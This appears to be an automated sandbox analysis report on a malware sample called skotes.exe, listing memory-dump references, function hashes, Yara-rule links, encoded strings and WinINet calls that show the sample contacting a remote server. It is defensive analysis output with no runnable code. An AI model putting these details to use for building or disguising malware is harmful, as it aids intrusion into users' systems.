Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: 15a764062197cbee0aec5f003c9a65fba04ed30f48d31010ded4bb8a1c2ac991
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 25B13632D246859FDB25CF28C881BBEBBE5EF45340F18916AE855FB242D6349D41CB70

Function 00D02EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00D02F5F
__Mtx_unlock.LIBCPMT ref: 00D02FCC
__Mtx_unlock.LIBCPMT ref: 00D030F5
__Mtx_unlock.LIBCPMT ref: 00D0319B

Memory Dump Source

Source File: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1757353920.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757373038.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757434334.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757452417.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757471400.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757489119.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757508083.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757635441.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757654561.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757677709.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757695864.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757797587.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757824956.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757854706.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757883751.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757910637.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757936759.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757967508.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1757995002.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758021172.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758095550.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758121804.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758152560.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758182285.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758201293.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758228919.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758258779.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758284372.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758313166.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758339901.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758367543.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758393905.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758422785.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758450233.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758479683.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758508144.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758538835.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758569082.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758663052.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758694293.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758723517.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758752206.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758794146.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758878317.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1758920998.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 9d51bf5fd4c0f6219d0cc63730003b3f7de3357246d15e097d0546060fc1741c
Instruction ID: 98fc44761e12f7c32f41fb70c89f3635450e1f0371e71fe8d8734fb246079482
Opcode Fuzzy Hash: 9d51bf5fd4c0f6219d0cc63730003b3f7de3357246d15e097d0546060fc1741c
Instruction Fuzzy Hash: 2EA1E270A01315EFDB20DFA5D9457AAB7A8FF19354F088129E819D7281EB31EA44CBB1

Analysis Process: skotes.exePID: 7668, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	665
Total number of Limit Nodes:	50

Executed Functions

Function 00D0E530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

GnNoc2Hc, xrefs: 00D0E56C
?]&$, xrefs: 00D0E547, 00D0EAEA, 00D0F6F4, 00D0F9D5, 00D0FB77, 00D108F7
246122658369, xrefs: 00D0F737, 00D0FA14, 00D105E7, 00D1099A
111, xrefs: 00D0F7A0
WTw=, xrefs: 00D1097D
MQ==, xrefs: 00D0E592
UA==, xrefs: 00D0EB0F, 00D0ED56
MGE+, xrefs: 00D0E821
9c9aa5, xrefs: 00D0FB8E
#, xrefs: 00D10624
WTs=, xrefs: 00D105CA
WDw=, xrefs: 00D0F71D, 00D0F9FA

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$?]&$$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2259871240
Opcode ID: b92c3f68ffafa1d01ff1a046b281a23a704b52a2dbfb2352a018040b6b089169
Instruction ID: 8db85e28c43cecc0a22e342dd8124e1fad9992b2b115b0fd386798d2a99cc781
Opcode Fuzzy Hash: b92c3f68ffafa1d01ff1a046b281a23a704b52a2dbfb2352a018040b6b089169
Instruction Fuzzy Hash: AC82C470904248ABEF14EF68C9497DE7FB5EF45304F508598E809673C2CB755A88CBB2

Function 00D0EB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00D0EB51
CreateDirectoryA.KERNEL32(00000000), ref: 00D0EC83
GetFileAttributesA.KERNEL32(00000000), ref: 00D0ED98

Strings

?]&$, xrefs: 00D0F6F4, 00D0F9D5, 00D0FB77
246122658369, xrefs: 00D0F737, 00D0FA14, 00D0FE00, 00D105E7
FCQgKF==, xrefs: 00D0FEE4
WTs=, xrefs: 00D105CA
WDw=, xrefs: 00D0F71D, 00D0F9FA, 00D0FDE3
UA==, xrefs: 00D0EC41, 00D0ED56, 00D0EF89, 00D0F2CE
111, xrefs: 00D0F7A0
mxo1L0x, xrefs: 00D0EE84
invalid stoi argument, xrefs: 00D108B0
FisgLnsCZO1i, xrefs: 00D0FF19
9c9aa5, xrefs: 00D0FB8E
stoi argument out of range, xrefs: 00D108C4
#, xrefs: 00D10624
GiQaT29tduF=, xrefs: 00D0FEB6

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$?]&$$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-3762661261
Opcode ID: 19a55afc41a7e62a953f9829f63a694fa3b6cecd05d93511aade108b7d4d0180
Instruction ID: d57e90a3c670cbce6a7614e6d6f4bb416cc56d8518c63fb2e4e77170368e0569
Opcode Fuzzy Hash: 19a55afc41a7e62a953f9829f63a694fa3b6cecd05d93511aade108b7d4d0180
Instruction Fuzzy Hash: 44F24B71A00148ABEB18DB38DD897DDBB72DF81304F648198E409A73D6DF759AC48BB1

Function 00D0BE30 Relevance: 26.6, APIs: 7, Strings: 8, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,24265D3F,?,00000000), ref: 00D0BEB8
InternetOpenW.WININET(00D58DC8,00000000,00000000,00000000,00000000), ref: 00D0BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00D0BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 00D0BF35
HttpSendRequestA.WININET(?,00000000), ref: 00D0BFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 00D0C0A7
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 00D0C161
InternetCloseHandle.WININET(?), ref: 00D0C187
InternetCloseHandle.WININET(?), ref: 00D0C18F
InternetCloseHandle.WININET(?), ref: 00D0C197

Strings

RE1NXF==, xrefs: 00D0BF0E
?]&$, xrefs: 00D0BA04, 00D0BE47, 00D0C377, 00D0CE6B, 00D0DD2F
8HJUeMD Lq5=, xrefs: 00D0C465
?]&$, xrefs: 00D0C9B7, 00D0C9BA
invalid stoi argument, xrefs: 00D0E4F4
8HJUeIfzLo==, xrefs: 00D0C3CB, 00D0C623
stoi argument out of range, xrefs: 00D0E4EA
?]&$, xrefs: 00D0C951

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
